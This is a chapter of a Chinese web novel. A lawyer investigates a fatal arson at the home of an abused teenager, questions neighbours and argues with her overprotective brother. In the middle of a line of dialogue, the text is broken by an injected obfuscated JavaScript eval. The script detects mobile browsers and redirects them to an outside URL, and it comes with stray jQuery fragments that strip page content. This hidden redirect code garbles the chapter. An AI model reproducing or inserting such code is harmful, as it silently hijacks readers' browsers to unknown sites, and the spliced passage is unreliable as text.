73. 案发现场

作品:《阴湿哥绿茶修炼史

    “啊?”黎青短暂疑惑了一瞬,但也没太在意,俯身抱住了颤抖的男孩。


    程简呜的一声,把脸埋进她的肩膀,没多久,黎青感到肩膀处一片潮湿。


    心底漫出怜爱,她把程简抱紧了些,柔声安慰:“没事,我们帮你。”


    阿塔和乌辛推门而入,站在病床边,目光忧愁。


    半个小时后,程简断断续续地将案发经过复述了一遍。


    黎青拧眉:“警察发现现场有个打火机上有你的指纹,而且你父亲的指甲里检测出了你的皮肤组织,但是你说你在房间里,没看见你父亲,确定中间没有漏掉什么?”


    程简迟疑地看了眼阿塔,最终摇摇头。


    “好吧,我们会去现场看看。”


    问不出什么了,黎青叮嘱他好好休息,转身出了病房,留下阿塔坐在旁边轻声慰问。


    乌辛追出来,笑容没有昨天的灿烂:“对不起,案子好像有点麻烦,把你拉进来了真是对不起。”


    乌辛的中文并没有很熟,一句话说出了好几个音调,逗得黎青哈哈大笑:“没事,我在国内也没法接其他案子,总部居然能让我在这里无所事事待这么久,真得感谢阿塔,帮帮她也是应该的。”


    “因为你很厉害!挂名就可以了!”乌辛一脸正气地夸赞道,眼神坚定。


    黎青心情好了不少,转而询问起案子:“跟警察打个招呼,我们想去现场看看。”


    乌辛不太明白为什么要去现场,毕竟就算现场有什么证据,他们两个律师也发现不了什么,还是两个非刑事律师。


    但是他相信黎青,相信西尔莎会带来正义。


    天气逐渐转阴,不一会儿,小雨淅淅沥沥,医院外的梧桐洗得发绿。


    陈最忙碌于看诊,隔着眼镜的眼睛平静,对所有痛苦的人漠不关心,机械地完成自己的任务。黎青在门口张望了一眼,没有打扰。


    雨在特定时候可以增加感情,也会让人困扰。


    阿塔速度很快,第二天申请就下来了,黎青带着乌辛前往案发地,阿塔留在律所阅卷。


    雨比昨天大了一些,黎青坐在车上,心事重重。


    “我送这孩子回过家,孩子可好了,送他牛奶也不要,什么都不肯收,最后就问我要了颗水果糖,回家还挨打了。”阿塔越说越生气,眼圈不自觉红起来。


    这幅场景在黎青的脑海里挥之不去,她可以想象到程简惨白的脸在接过水果糖时,会浮现怎样的希冀和期待,就像昨天她抱住他时一样。


    尽管黎青的专业并不是这方面,但她不想辜负程简。


    不知是不是程简太像某人的缘故,黎青总会有些恍惚。


    雨刷快速运作着,却还是来不及刮干净,街景糊成一片。


    黎青闭着眼,脑海里一遍遍过着程简和警察的话。


    警察说,起火点初步以为是程简父亲的烟没有熄灭,点燃了沙发旁的地毯,意外烧死了醉酒睡在沙发上的程简父亲。


    但检测后发现,起火点在沙发下面,而且在四周检测出了汽油,怀疑是谋杀。


    程简则说,他根本不知道,他去工地打工了,回来的时候火已经烧起来了,他冲进去只是为了自己辛辛苦苦打工攒的存款,那是他的学费。


    黎青自然倾向于程简的说辞,但警察需要证据。


    烧毁的房屋出现在视线内,已经烧得不像样了。房屋残骸静静伫立在冷雨中,黑黢黢的,一股难闻的气味在空气中流动。


    黎青忍不住咳嗽起来,乌辛递给她一瓶水,她道谢后勉强喝了一口,还是不太舒服。


    “到了。”


    两人穿过警戒线往里走,废墟已经被清理过,关键证物也带回了警局,盘问证人之类的警察会做,警察问他们为什么要去现场,黎青说不出,她就是觉得应该去看一眼。


    “我们先看看现场,然后再去找找附近的人,看看有没有什么情况。”


    她声音很低,几乎淹没在雨里。


    乌辛反而精力充沛,摆出加油的手势:“好!我们一起努力!”


    金棕色头发被风吹得乱七八糟。


    程简家准确来说不是在工厂,而是在工厂旁边的一个老破小的房子,周围不远是施工的工地。


    现在房子剩个框架,一股霉味和糊味围绕在四周,没人愿意靠近。


    进去之后,情况比想象中还要糟。


    能烧得全烧完了,黎青凭感觉找到曾经放置沙发的地方,堆落不少灰烬。警察将部分灰带回去提取了,也就是在沙发周围发现了汽油。


    “起火点在这里?”乌辛站在她身后,跟着蹲下身检查,不那么流利的中文在这个场景下有些滑稽。


    “消防报告说是沙发底下。沙发残骸已经搬走了,但位置大概就在这。”


    黎青站起来,膝盖有点酸,扶着墙缓了一下。


    墙壁上黢黑,沾满了灰,乌辛将她的手拉过来,让她扶着自己。


    “没事吧?”


    “没事。”黎青拍了拍手上的灰,走进里面的房间。


    那是程简的房间,房间很小,仅在靠墙有一张单人铁床。


    黎青走进去,呛得差点把肺咳出来。这房间更糟糕,她咬牙在床附近转了一圈,突然发现什么,蹲到窗台边仔细观察。


    “乌辛你看,这是划痕吗?你来看看——哎!”


    黎青话音未落,直接被挤摔了。


    乌辛标准一米九大高个,身高体壮,当时黎青开玩笑说要不当刑辩律师吧,被报复也好还手。


    最后他居然真的当上了刑辩律师。


    “Sorry……”


    “没事没事,是我太累了没站稳。”黎青深吸口气,努力爬起来。


    窗台上有一道一道的划痕,歪歪扭扭的。


    “这是什么……”


    “像指甲。”


    黎青冷脸道,起身往外走:“我们该去问问别人了。”


    *


    雨敲击在房梁上,渗透进发霉的木头,坠入放好的瓷盆里。


    屋子里坐着两个男人,一个抽烟一个睡觉,对黎青的打扰颇为不满。


    抽烟的男人自称姓张,是程简父亲的工友,对他了如指掌:“老程就是个混子,吃喝嫖赌样样沾,程简也不知道是哪个女人生的,啊死就死吧。”


    他不耐烦地猛吸一大口烟,要不是乌辛的个头摆在那,他对黎青就差赶人了。


    “他抽烟喝酒,把自己点着了,有啥可查的。”


    黎青沉默半刻,问:“他有仇家吗?”


    老张像是听到了什么笑话,拉着躺在那的男人一起大笑。


    黎青不适地皱眉,呛鼻的烟味直往鼻子里钻,她尽量没有咳出来。


    老张笑完才说:“多的是啊,我们最多是流氓,他纯赌狗,程简那小子的工资都被他赌完了。”


    色眯眯的眼神黏在身上,黎青强忍着微笑感谢了对方,然后迅速离开。


    走到门外,她大口呼吸着新鲜空气,虽然没有多好,但比起里面的烟熏缭绕,那可太沁人心脾了。


    缓过来后,黎青和乌辛简单分析了一下情况。目前来看,死者有仇家,看着还不少,程简想上学想脱离父亲,但是他的钱全被死者拿走了,那他确实也有重大作案嫌疑。


    黎青正要再去找其他人问问,电话铃声响了,来电显示是陈最。


    “喂哥,我——”


    “你去哪了。”


    陈最的声音在旁人听来与往常无异,而和他朝夕相处的黎青知道,这个声音应该是气疯了。


    她憋了口气,快速回答:“在案发现场。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366734|190114||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “我昨天跟你说的你当耳旁风是不是?我说了你不要过去,危险你知不知道?刑辩跟你有关系吗?让你不要去你听不懂?”


    “……”


    “黎青,说话。”


    黎青垂眸不语。


    那头的陈最确实快气疯了,千叮咛万嘱咐让黎青不要往案发现场跑,工地是很危险的地方,更何况她根本不是刑辩律师,案子根本用不着她去。


    他用力拧了拧眉:“黎青,你信不信我打断你腿给你锁家里。”


    委屈瞬间席卷全身,本就疲累的黎青鼻腔一酸,赌气喊道:“那你打我好了!打死全世界最爱你的妹妹好了!”


    说完她愤怒地挂断了电话。


    冷静三秒,她猛然意识到自己做了什么。


    “完了……”


    乌辛蹲在台阶上休息,看着黎青从愤怒到如遭雷劈的表情,疑惑地咕噜一声。


    “抱歉乌辛,”黎青挪到乌辛身边坐下,不安地捏捏矿泉水瓶,“我们国家有句话,叫不是金刚钻别揽瓷器活,我或许做错了,对不起。”


    雨丝泛着灰白,在脚边砸出圈圈涟漪。


    阳光和雨水黎青都喜欢,雨在她生命中下了二十五年,阳光也照耀了她二十五年。


    陈最不这么认为。


    他的恐慌无时无刻,仿佛命运下一秒会发动一切可怕的事情,夺走他的一点点欢喜。


    昨天晚上陈最回家了,黎青随口提了一句案子,没想到他坚决不许黎青插手刑事案件。


    尽管黎青再三解释她没有,她只是帮忙看看案子,她不是刑辩律师,陈最完全听不进去。


    黎青说的话,在他耳朵里就是:“哥,我要去找死了。”


    陈最差点一口气晕死过去。


    雨落的一瞬,时间过去好几年。黎青在光阴奔走中,她的倔一如往昔,不曾变过。


    “完全不用道歉!西尔莎没错!”


    黎青惊诧,愣愣地望着精神抖擞的乌辛。


    “西尔莎,我俩认识这么久,你就没有做出过侧漏的决定,我相信你!”


    “……谢谢你,你是想说错误的决定吧?”


    被乌辛一打岔,黎青笑了出来。


    刚到爱尔兰的时候,面对部分人的歧视,黎青大部分时间选择无视。


    乌辛是小组作业认识的,她永远不会忘记乌辛对她说的第一句话是:“我很喜欢你的国家!”


    现在他们在自己的国家“并肩作战”,黎青松了口气。


    “那个——”


    突如其来的动静吓得黎青一缩。


    两人回头,发现是一个中年妇女,犹犹豫豫,似乎想说些什么。


    黎青稳稳心神:“有事吗?”


    “嗯……你们是来查程家的案子吗?”


    她和乌辛对视一眼,同时回答:“对。”


    “我知道一点事,不知道能不能帮上忙。”女人似乎很怕屋子里的人,边说边瞟。


    黎青握住她的手,三人往更远处走去。


    雨渐渐平息。


    女人的说辞让黎青走了神,她慢慢走向工地门口,有人来接她了。


    空中飘着毛毛雨,陈最撑着黑伞,下颚线绷得死紧,线条冷硬,眼神细细扫了一圈装哑巴的黎青,然后钉在乌辛身上,手对着黎青竖了个大拇指:“你行啊你。”


    她脑子一抽:“谢谢。”


    在陈最的眼刀劈过来前,黎青急忙往车后座钻。


    好的是她没接收到陈最的眼刀,坏的是,她一回头,发现不明所以的乌辛也跟着她钻进了后座。


    哐当——


    黎青好像听见她哥在外面用什么撞了什么,车身一震。


    乌辛惊讶叫道:“西尔莎的哥哥好厉害!居然可以站在原地出车祸!”